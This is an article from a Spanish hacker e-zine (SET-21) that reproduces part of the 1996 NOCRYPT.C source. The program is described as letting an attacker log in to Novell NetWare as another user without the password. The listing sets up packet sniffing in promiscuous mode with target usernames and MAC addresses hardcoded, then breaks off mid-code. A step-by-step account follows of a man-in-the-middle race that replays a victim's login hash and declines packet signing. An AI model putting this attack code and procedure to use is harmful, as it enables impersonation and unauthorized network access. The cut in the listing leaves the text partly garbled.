-[ 0x06 ]-------------------------------------------------------------------- -[ Curso de Novell Netware Aps III & IV ]------------------------------------ -[ by Madfran ]-------------------------------------------------------SET-21- Apendice Tres - Codigos fuente y otras documentaciones ------------------------------------------------------ A-03. Codigo Fuente de NOCRYPT ------------------------------ Los comentarios de Greg se encuentran en el mismo fichero, pero mirad el apendice A-04 para mas informacion (Traduccion madfran) --------------------------------------------------------------------------- /*Este programa fue escrito en Septiembre de 1996 por Greg Miller */ /*NOCRYPT.C Este programa permite a un atacante hacerse pasar por un usuario sin conocer su password. Para mas informacion en como utilizarlo, consulta NOCRYPT.DOC Para mas informacion de como funciona el ataque, consulta ATTACK.DOC */ /*(C) 1996 by Greg Miller*/ /*Libre distribucion*/ #include #include #define TRUE -1 #define FALSE 0 #define PACKET_TYPE 19 #define FUNCTION_CODE 50 #define SUBFUNC_CODE 53 #define KEY_OFFSET 54 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; BYTE username[20] = "GUEST"; //usuario victima BYTE membername[20] = "GMILLER"; //derechos a conseguir BYTE server_network[4] = {0,0,0,15}; //server INTERNAL net BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05}; //direccion del router //mas cercano BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe}; //0000 no funcionara BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83}; //mi direccion BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //direccion a atacar BYTE my_seq_no = 1; BYTE my_con_no; BYTE login_key[8]; int DataRemaining = TRUE; int x; BYTE packet[2000]; BYTE SendPacket[2000]; BYTE to_server[100]; WORD handle; int packet_received = FALSE; int NotDone = TRUE; int c; WORD pktlen; WORD Sendpktlen; WORD to_server_len; void Initialize(){ } static void far PacketReceived(){ /*El driver, llama a esta funcion, cuando se recibe un paquete Si AX=0, se le pide al driver un buffer para colocar alli el paquete. Si AX=1 se copia el paquete en el buffer. */ _asm{ pop di //Por alguna razon Borland C 3.1 enpuja DI. //Quita esta linea si tu compilador no lo hace. cmp ax,1 //ax=0 para tomar un buffer o 1 cuando exista jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //longitud del buffer retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*Esta funcion registra el "protocol stack" con el driver. Le damos la direccion de la funcion a llamar cuando el paquete se recibe en ES:DI, la clase de interface en AL, y el tipo de interface en BX. DS:SI deberia apuntar al tipo de paquete a recibir, con la longitud en CX, sin embargo, si recibimos cualquier tipo de paquete dejaremos DS:SI y haremos CX=0. Tomaremos un "handle" mediante una llamada INT 60h en AX, y lo guardaremos para usos posteriores. */ _asm { pusha mov bx,0ffffh //Comodin para cualquier interface mov dl,0 mov cx,0 //recibimos cualquier tipo de paquete mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //tipo de clase para 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface */ /*Release Type*/ _asm{ pusha mov ah,3 mov bx,handle int 60h jc err } /*Terminate driver for handle*/ _asm{ mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void SetReceiveMode(WORD mode){ /*Esta funcion pone la tarjeta en el modo adecuado, poniendo el modo de recepcion en CX y el manejador en BX, El modo 6 es promiscuo y el 2 es normal. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,mode int 60h jc err popa } printf("Mode set to %d\r\n",mode); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } // printf("Sending:\r\n"); // for(c=0;c <------------------------------------------------ Llave de login Peticion de ID de usuario ---------------------------------------> <------------------------------------------------ UID de cliente Calculo X=hash(UID,password) Calculo X'=hash(UID,password) Calculo Y=hash(X,login key) Calculo Y'=hash(X,login key) Peticion de Autentificacion -------------------------------------------> If Y=Y', Access is Granted Calculo Z=hash(X,c) Calculo Z=hash(X,c) Cuando Alicia hace login, el atacante Bob puede interrumpir la secuencia y conseguir el acceso como Alicia sin conocer su password. Para que esto funcione, Debe estar situado en un punto desde donde pueda ver el trafico entre Alicia y el server y Bob debe ser capaz de responder al server antes que Alicia. Secuencia del ataque : - Primero Bob envia al server una peticion de login. - El server envia a Bob una llave de login R". - Alicia envia al server una peticion de login. - Bob captura la peticion envia a Alicia el valor R" como si fuera el server. - El server recibe la peticion de Alicia y le envia una R. - Alicia recibe R y la descarta como duplicada. - Alicia pide al server su UID. - El server se la envia. - Alicia calcula X=hash(UID,password) and Y=hash(X,R") y la envia al server. - El server calcula Y'=hash(X,), como Y' es distinto a Y, el server rechaza a Alicia. - Mientras tanto, Bob ve el valor Y que Alicia ha enviado al server. - Envia este valor al server. - El server calcula el Y"=hash(X,R"), ve que Y=Y" y da acceso a Bob como si fuera Alicia. Bob pide que no se firmen los paquetes, si el server no lo exige a todos los clientes, Bob consigue introducirse como Alicia. Alicia Bob Server Peticion de llave login R" ----> <----Envia R" a Bob Peticion de llave login R ---------------------------------> <---- Envia R" a Alicia <----------------------------------- Envia R a Alicia Receve R" primero Rechaza R como duplicado Peticion UID para Alicia -----------------------------------> <----------------------------------- Envia UID a Alicia Calcula X=hash(UID,password) Calcula Y=hash(X,R") Envia Y al server -----------------------------------> Calcula Y'=hash(X,R) Mira Y y lo guarda. Y != Y', acceso denegado Envia Y para ---> Calcula autentificarse Y"=hash(X,R") Y"=Y, acceso permitido Rechaza la firma de paquetes Si todos los clientes no REQUIREN los paquetes firmados el acceso es posible. Puede existir un segundo atacante, Joe, esperando a que Alicia se conecte sin firma de paquetes. Como resultado, Joe puede robar la conexion de Bob como si fuera Alicia. Madfran *EOF*